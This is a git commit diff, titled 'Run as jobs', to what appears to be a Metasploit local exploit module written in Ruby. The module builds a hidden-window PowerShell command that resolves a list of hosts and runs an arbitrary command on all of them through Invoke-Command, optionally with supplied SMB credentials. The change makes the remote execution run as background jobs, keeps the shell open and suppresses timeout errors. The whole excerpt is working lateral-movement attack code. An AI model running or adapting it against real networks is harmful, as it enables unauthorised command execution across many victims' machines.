Run as jobs
parent
1c169e2935
commit
038aae5adb
|
@ -90,8 +90,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
$ResultList=@(#{known_hosts});
|
||||
#{ip_list}
|
||||
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
|
||||
$ResultList=$ResultList|select -uniq;
|
||||
Invoke-Command -ComputerName $ResultList -ScriptBlock {#{command}}
|
||||
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock {#{command}}
|
||||
EOF
|
||||
|
||||
if datastore['SMBUser']
|
||||
|
@ -104,11 +103,15 @@ EOF
|
|||
command = generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => ps
|
||||
:command => ps,
|
||||
:noexit => true
|
||||
})
|
||||
|
||||
print_status("Executing command...")
|
||||
begin
|
||||
cmd_exec(command)
|
||||
rescue Rex::TimeoutError
|
||||
end
|
||||
end
|
||||
|
||||
def generate_credentials(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
|
||||
|
|
Loading…
Reference in New Issue